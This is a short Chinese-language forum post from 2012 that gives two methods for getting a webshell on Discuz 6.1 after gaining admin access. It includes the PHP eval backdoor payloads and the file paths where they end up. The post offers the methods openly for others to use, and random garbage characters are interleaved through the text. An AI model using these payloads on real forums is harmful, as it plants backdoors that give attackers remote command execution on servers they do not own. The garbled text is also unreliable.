discuz6.1两种方法后台拿shell( I# w5 S$ ~( E" m7 j- T. L
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下; m/ H$ q A3 a+ V" T
1:
# h) Q& `: b$ d5 k/ ]( \* _. Zhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes. L, H$ r6 P/ O2 g3 [
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
* [ o0 c' n0 G2 [9 |$ ~6 ]6 R9 q3 N<?php eval($_POST[cmd]);?>+ O5 ^) y9 Q( R5 z' {2 l/ N
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
& L" e+ U5 ^* B0 b+ [7 K1 ^2 d. S. E1 r- e* @
0 d9 @6 S$ {9 m, D' k
2:后台模板管理--默认模板套系--详情, m# g% ?8 l! C4 t/ |# m5 |5 R
templates/default/actions.lang.php: f; n5 f* B% L$ ~' l* X
jhackj\\');eval($_POST[cmd])?>;//8 S) f+ M# C4 R
# C& S- I* h; m# ]4 i
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对